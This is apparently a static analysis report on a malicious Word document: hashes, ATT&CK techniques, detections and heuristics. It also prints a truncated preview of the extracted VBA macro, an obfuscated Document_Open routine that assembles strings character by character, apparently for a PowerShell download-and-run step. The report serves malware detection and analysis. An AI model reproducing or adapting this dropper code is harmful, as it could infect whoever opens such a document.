Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfb4fc96c1ba6571…

MALICIOUS

Office (OLE)

660.5 KB Created: 2018-05-28 08:10:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 16ac1a2c1e1c3b49e1a3a48fb71cc74f SHA-1: 8d5e3bed94115e93e51e67db815edbab10e35505 SHA-256: bfb4fc96c1ba657107c7c60845f6ab720634c8a9214943b5221378a37a8916cd
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. The document body contains a lure to enable editing and content, a common tactic for macro-based malware. The VBA script constructs a string that appears to be a PowerShell command, likely for downloading and executing a second-stage payload. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 86198 bytes
SHA-256: 0751601436c5ef2a751d8fa4225c9e983c8760c8867942e19110c3b095f2382f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 71 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim hwJX, vGHP, HHmP As String
hwJX = lhJo(BwLx)
vGHP = lhJo(ZOFr)
HHmP = lhJo(XsRu)


Dim cJGd As String
cJGd = vNLK(Nvfu(55, 100))
cJGd = SWSU(cJGd, vNLK(Nvfu(73, 42)))
cJGd = SWSU(cJGd, vNLK(Nvfu(255, 141)))
cJGd = SWSU(cJGd, vNLK(Nvfu(245, 156)))
cJGd = SWSU(cJGd, vNLK(Nvfu(94, 46)))
cJGd = SWSU(cJGd, vNLK(Nvfu(127, 11)))
cJGd = SWSU(cJGd, vNLK(Nvfu(245, 156)))
cJGd = SWSU(cJGd, vNLK(Nvfu(228, 138)))
cJGd = SWSU(cJGd, vNLK(Nvfu(239, 136)))
cJGd = SWSU(cJGd, vNLK(Nvfu(64, 110)))
cJGd = SWSU(cJGd, vNLK(Nvfu(255, 185)))
cJGd = SWSU(cJGd, vNLK(Nvfu(245, 156)))
cJGd = SWSU(cJGd, vNLK(Nvfu(209, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(216, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(55, 100)))
cJGd = SWSU(cJGd, vNLK(Nvfu(26, 99)))
cJGd = SWSU(cJGd, vNLK(Nvfu(66, 49)))
cJGd = SWSU(cJGd, vNLK(Nvfu(127, 11)))
cJGd = SWSU(cJGd, vNLK(Nvfu(216, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(172, 193)))
cJGd = SWSU(cJGd, vNLK(Nvfu(4, 75)))
cJGd = SWSU(cJGd, vNLK(Nvfu(95, 61)))
cJGd = SWSU(cJGd, vNLK(Nvfu(196, 174)))
cJGd = SWSU(cJGd, vNLK(Nvfu(216, 189)))
cJGd = SWSU(cJGd, vNLK(Nvfu(73, 42)))
cJGd = SWSU(cJGd, vNLK(Nvfu(127, 11)))

Dim QXyW As String
QXyW = hwJX
Dim XWSO As String
XWSO = ""
XWSO = SWSU(XWSO, vNLK(Nvfu(137, 202)))
XWSO = SWSU(XWSO, vNLK(Nvfu(87, 109)))
XWSO = SWSU(XWSO, "\")
XWSO = SWSU(XWSO, vNLK(Nvfu(241, 161)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(202, 165)))
XWSO = SWSU(XWSO, vNLK(Nvfu(239, 136)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(12, 109)))
XWSO = SWSU(XWSO, vNLK(Nvfu(172, 193)))
XWSO = SWSU(XWSO, vNLK(Nvfu(79, 11)))
XWSO = SWSU(XWSO, vNLK(Nvfu(12, 109)))
XWSO = SWSU(XWSO, vNLK(Nvfu(127, 11)))
XWSO = SWSU(XWSO, vNLK(Nvfu(12, 109)))
XWSO = SWSU(XWSO, "\")
XWSO = SWSU(XWSO, vNLK(Nvfu(16, 71)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))
XWSO = SWSU(XWSO, vNLK(Nvfu(228, 138)))
XWSO = SWSU(XWSO, vNLK(Nvfu(249, 157)))
XWSO = SWSU(XWSO, vNLK(Nvfu(202, 165)))
XWSO = SWSU(XWSO, vNLK(Nvfu(244, 131)))
XWSO = SWSU(XWSO, vNLK(Nvfu(66, 49)))
XWSO = SWSU(XWSO, vNLK(Nvfu(79, 11)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(202, 172)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(228, 138)))
XWSO = SWSU(XWSO, vNLK(Nvfu(249, 157)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(55, 100)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(255, 141)))
XWSO = SWSU(XWSO, vNLK(Nvfu(254, 136)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))
XWSO = SWSU(XWSO, vNLK(Nvfu(73, 42)))
XWSO = SWSU(XWSO, vNLK(Nvfu(216, 189)))
XWSO = SWSU(XWSO, vNLK(Nvfu(64, 110)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))
XWSO = SWSU(XWSO, vNLK(Nvfu(228, 138)))
XWSO = SWSU(XWSO, vNLK(Nvfu(245, 156)))

dtBy XWSO, QXyW, cJGd

Dim EMOy As String
EMOy = ""
EMOy = SWSU(EMOy, vNLK(Nvfu(137, 202)))
EMOy = SWSU(EMOy, vNLK(Nvfu(87, 109)))
EMOy = SWSU(EMOy, "\")
EMOy = SWSU(EMOy, vNLK(Nvfu(241, 161)))
EMOy = SWSU(EMOy, vNLK(Nvfu(255, 141)))
EMOy = SWSU(EMOy, vNLK(Nvfu(202, 165)))
EMOy = SWSU(EMOy, vNLK(Nvfu(239, 136)))
EMOy = SWSU(EMOy, vNLK(Nvfu(255, 141)))
EMOy = SWSU(EMOy, vNLK(Nvfu(12, 109)))
EMOy = SWSU(EMOy, vNLK(Nvfu(172, 193)))
EMOy = SWSU(EMOy, vNLK(Nvfu(79, 11)))
EMOy = SWSU(EMOy, vNLK(Nvfu(12, 109)))
EMOy = SWSU(EMOy, vNLK(Nvfu(127, 11)))
EMOy = SWSU(EMOy, vNLK(Nvfu(12, 109)))
EMOy = SWSU(EMOy, "\")
EMOy = SWSU(EMOy, vNLK(Nvfu(242, 183)))
EMOy = SWSU(EMOy, vNLK(Nvfu(254, 136)))
EMOy = SWSU(EMOy, vNLK(Nvfu(216, 189)))
EMOy = SWSU(EMOy, vNLK(Nvfu(228, 138)))
EMOy = SWSU(EMOy, vNLK(Nvfu(127, 11)))
EMOy = S
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.